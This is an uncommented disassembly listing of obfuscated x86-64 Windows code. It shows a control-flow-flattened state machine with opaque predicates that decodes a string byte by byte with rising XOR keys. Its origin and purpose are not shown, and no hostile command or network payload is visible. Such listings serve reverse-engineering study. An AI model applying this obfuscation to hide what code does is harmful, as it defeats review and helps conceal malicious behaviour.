cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x140011270
cmp eax, 0x65935c71
je 0x1400111a9
cmp eax, 0x10a09de6
je 0x14001128c
cmp eax, 0x9c6a156
jne 0x140011210
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011210
cmp eax, 0xe804e5f4
je 0x140011285
cmp eax, 0x9209573
jne 0x140011210
mov eax, 0x10a09de6
jmp 0x140011210
mov eax, 0x65935c71
jmp 0x140011210
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x10
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 5], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 6]
mov eax, 0x9c6a156
jmp 0x140011310
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011370
cmp eax, 0x65935c71
je 0x1400112b3
cmp eax, 0x10a09de6
je 0x14001138c
cmp eax, 0x9c6a156
jne 0x140011310
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011310
cmp eax, 0xe804e5f4
je 0x140011385
cmp eax, 0x9209573
jne 0x140011310
mov eax, 0x10a09de6
jmp 0x140011310
mov eax, 0x65935c71
jmp 0x140011310
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x11
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 6], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 7]
mov eax, 0x9c6a156
jmp 0x140011410
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r8d
test eax, r11d
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140011470
cmp eax, 0x65935c71
je 0x1400113b3
cmp eax, 0x10a09de6
je 0x14001148c
cmp eax, 0x9c6a156
jne 0x140011410
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011410
cmp eax, 0xe804e5f4
je 0x140011485
cmp eax, 0x9209573
jne 0x140011410
mov eax, 0x10a09de6
jmp 0x140011410
mov eax, 0x65935c71
jmp 0x140011410
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x12
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 7], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 8]
mov eax, 0x9c6a156
jmp 0x140011510
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011570
cmp eax, 0x65935c71
je 0x1400114b3
cmp eax, 0x10a09de6
je 0x14001158c
cmp eax, 0x9c6a156
jne 0x140011510
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011510
cmp eax, 0xe804e5f4
je 0x140011585
cmp eax, 0x9209573
jne 0x140011510
mov eax, 0x10a09de6
jmp 0x140011510
mov eax, 0x65935c71
jmp 0x140011510
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x13
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 8], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 9]
mov eax, 0x9c6a156
jmp 0x140011610
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r8d
test eax, r11d
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140011670
cmp eax, 0x65935c71
je 0x1400115b3
cmp eax, 0x10a09de6
je 0x14001168c
cmp eax, 0x9c6a156
jne 0x140011610
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011610
cmp eax, 0xe804e5f4
je 0x140011685
cmp eax, 0x9209573
jne 0x140011610
mov eax, 0x10a09de6
jmp 0x140011610
mov eax, 0x65935c71
jmp 0x140011610
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x14
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 9], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0xa]
mov eax, 0x9c6a156
jmp 0x140011710
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011770
cmp eax, 0x65935c71
je 0x1400116b3
cmp eax, 0x10a09de6
je 0x14001178c
cmp eax, 0x9c6a156
jne 0x140011710
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011710
cmp eax, 0xe804e5f4
je 0x140011785
cmp eax, 0x9209573
jne 0x140011710
mov eax, 0x10a09de6
jmp 0x140011710
mov eax, 0x65935c71
jmp 0x140011710
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x15
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0xa], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0xb]
mov eax, 0x9c6a156
jmp 0x140011810
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011870
cmp eax, 0x65935c71
je 0x1400117b3
cmp eax, 0x10a09de6
je 0x14001188c
cmp eax, 0x9c6a156
jne 0x140011810
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011810
cmp eax, 0xe804e5f4
je 0x140011885
cmp eax, 0x9209573
jne 0x140011810
mov eax, 0x10a09de6
jmp 0x140011810
mov eax, 0x65935c71
jmp 0x140011810
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x16
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0xb], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0xc]
mov eax, 0x9c6a156
jmp 0x140011910
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r8d
test eax, r11d
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140011970
cmp eax, 0x65935c71
je 0x1400118b3
cmp eax, 0x10a09de6
je 0x14001198c
cmp eax, 0x9c6a156
jne 0x140011910
mov eax, dword [0x1402b5ca0]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011910
cmp eax, 0xe804e5f4
je 0x140011985
cmp eax, 0x9209573
jne 0x140011910
mov eax, 0x10a09de6
jmp 0x140011910
mov eax, 0x65935c71
jmp 0x140011910
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x17
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0xc], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0xd]
mov eax, 0x9c6a156
jmp 0x140011a10
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r8d
test eax, r11d
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140011a70
cmp eax, 0x65935c71
je 0x1400119b3
cmp eax, 0x10a09de6
je 0x140011a8c
cmp eax, 0x9c6a156
jne 0x140011a10
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r10d
test eax, r11d
mov eax, ebx
cmove eax, r10d
jmp 0x140011a0a
cmp eax, 0xe804e5f4
je 0x140011a85
cmp eax, 0x9209573
jne 0x140011a10
mov eax, 0x10a09de6
jmp 0x140011a10
mov eax, 0x65935c71
jmp 0x140011a10
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x18
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0xd], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0xe]
mov eax, 0x9c6a156
jmp 0x140011b20
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r8d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011b80
cmp eax, 0x65935c71
je 0x140011ab3
cmp eax, 0x10a09de6
je 0x140011b9c
cmp eax, 0x9c6a156
jne 0x140011b20
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011b20
cmp eax, 0xe804e5f4
je 0x140011b95
cmp eax, 0x9209573
jne 0x140011b20
mov eax, 0x10a09de6
jmp 0x140011b20
mov eax, 0x65935c71
jmp 0x140011b20
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x19
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0xe], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx r15d, byte [rax + 0xf]
mov eax, 0x9c6a156
jmp 0x140011c30
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], r15b
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl dil
xor dil, bl
mov edi, 0xe804e5f4
cmovne edi, r8d
test eax, r11d
mov eax, edi
cmove eax, r8d
cmp edx, 0xa
cmovge eax, edi
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011c90
cmp eax, 0x65935c71
je 0x140011bc4
cmp eax, 0x10a09de6
je 0x140011cac
cmp eax, 0x9c6a156
jne 0x140011c30
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0xe804e5f4
cmovne edi, r10d
cmp r11d, 0xffffffff
mov eax, edi
cmove eax, r10d
jmp 0x140011c1b
cmp eax, 0xe804e5f4
je 0x140011ca5
cmp eax, 0x9209573
jne 0x140011c30
mov eax, 0x10a09de6
jmp 0x140011c30
mov eax, 0x65935c71
jmp 0x140011c30
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1a
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0xf], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0x10]
mov eax, 0x9c6a156
jmp 0x140011d30
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011da0
cmp eax, 0x65935c71
je 0x140011cd3
cmp eax, 0x10a09de6
je 0x140011dc2
cmp eax, 0x9c6a156
jne 0x140011d30
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax - 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x140011d30
cmp eax, 0xe804e5f4
je 0x140011db8
cmp eax, 0x9209573
jne 0x140011d30
mov eax, 0x10a09de6
jmp 0x140011d30
mov eax, 0x65935c71
jmp 0x140011d30
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1b
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0x10], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0x11]
mov eax, 0x9c6a156
jmp 0x140011e40
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x140011ea0
cmp eax, 0x65935c71
je 0x140011de9
cmp eax, 0x10a09de6
je 0x140011ebc
cmp eax, 0x9c6a156
jne 0x140011e40
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r10d
test eax, r11d
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x140011e40
cmp eax, 0xe804e5f4
je 0x140011eb5
cmp eax, 0x9209573
jne 0x140011e40
mov eax, 0x10a09de6
jmp 0x140011e40
mov eax, 0x65935c71
jmp 0x140011e40
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1c
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 0x11], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0x12]
mov eax, 0x9c6a156
jmp 0x140011f40
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011fa0
cmp eax, 0x65935c71
je 0x140011ee3
cmp eax, 0x10a09de6
je 0x1400108d2
cmp eax, 0x9c6a156
jne 0x140011f40
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140011f40
cmp eax, 0xe804e5f4
je 0x140011fb5
cmp eax, 0x9209573
jne 0x140011f40
mov eax, 0x10a09de6
jmp 0x140011f40
mov eax, 0x65935c71
jmp 0x140011f40
mov eax, dword [0x1402b5c98]
mov ecx, dword [0x1402b5c9c]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r11b
xor r11b, al
mov r11d, 0x5aba48f0
mov esi, 0x2a706f1f
cmovne r11d, esi
cmp edx, 0xffffffff
mov eax, r11d
cmove eax, esi
cmp ecx, 0xa
cmovge eax, r11d
jmp 0x140010950
mov eax, 0x3a8cfc5
jmp 0x140010950
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1e
mov rsp, rcx
mov rcx, rsp
mov rdx, qword [rbp + 0x1e8]
mov byte [rdx], al
mov rsi, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0x14]
mov eax, 0x9c6a156
jmp 0x1400120b0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r8d
test eax, r11d
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140012110
cmp eax, 0x65935c71
je 0x140012045
cmp eax, 0x10a09de6
je 0x14001212c
cmp eax, 0x9c6a156
jne 0x1400120b0
mov eax, dword [0x1402b5ca0]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x1400120b0
cmp eax, 0xe804e5f4
je 0x140012125
cmp eax, 0x9209573
jne 0x1400120b0
mov eax, 0x10a09de6
jmp 0x1400120b0
mov eax, 0x65935c71
jmp 0x1400120b0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1f
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 1], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 0x15]
mov eax, 0x9c6a156
jmp 0x1400121c0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax - 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r8d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140012220
cmp eax, 0x65935c71
je 0x140012153
cmp eax, 0x10a09de6
je 0x14001223c
cmp eax, 0x9c6a156
jne 0x1400121c0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x1400121c0
cmp eax, 0xe804e5f4
je 0x140012235
cmp eax, 0x9209573
jne 0x1400121c0
mov eax, 0x10a09de6
jmp 0x1400121c0
mov eax, 0x65935c71
jmp 0x1400121c0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x20
mov rsp, rcx
mov byte [rsi + 2], al
mov byte [rsi + 3], 0
mov rax, qword [rbp + 0x200]
mov byte [rax + 0x17], 1
mov eax, 0xc55c03d3
jmp 0x140010950
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, rcx
mov rcx, rsp
mov byte [r12], al
movzx edi, byte [r13 + 1]
mov eax, 0x9c6a156
jmp 0x1400122e0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r8d
test eax, r11d
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140012340
cmp eax, 0x65935c71
je 0x140012283
cmp eax, 0x10a09de6
je 0x14001235c
cmp eax, 0x9c6a156
jne 0x1400122e0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x1400122e0
cmp eax, 0xe804e5f4
je 0x140012355
cmp eax, 0x9209573
jne 0x1400122e0
mov eax, 0x10a09de6
jmp 0x1400122e0
mov eax, 0x65935c71
jmp 0x1400122e0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, rcx
mov r15, rsp
mov byte [r12 + 1], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 2]
mov eax, 0x9c6a156
jmp 0x1400123d0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop
cmp eax, 0x9c6a155
jle 0x140012440
cmp eax, 0x65935c71
je 0x14001237e
cmp eax, 0x10a09de6
je 0x140012462
cmp eax, 0x9c6a156
jne 0x1400123d0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax - 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x1400123d0
cmp eax, 0xe804e5f4
je 0x140012458
cmp eax, 0x9209573
jne 0x1400123d0
mov eax, 0x10a09de6
jmp 0x1400123d0
mov eax, 0x65935c71
jmp 0x1400123d0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, r15
mov r15, rsp
mov byte [r12 + 2], al
movzx ecx, byte [rcx + 3]
mov eax, 0x9c6a156
jmp 0x1400124e0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140012550
cmp eax, 0x65935c71
je 0x140012481
cmp eax, 0x10a09de6
je 0x140012572
cmp eax, 0x9c6a156
jne 0x1400124e0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax - 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0xe804e5f4
cmovne edi, r10d
cmp r11d, 0xffffffff
mov eax, edi
cmove eax, r10d
cmp edx, 0xa
cmovge eax, edi
jmp 0x1400124e0
cmp eax, 0xe804e5f4
je 0x140012568
cmp eax, 0x9209573
jne 0x1400124e0
mov eax, 0x10a09de6
jmp 0x1400124e0
mov eax, 0x65935c71
jmp 0x1400124e0
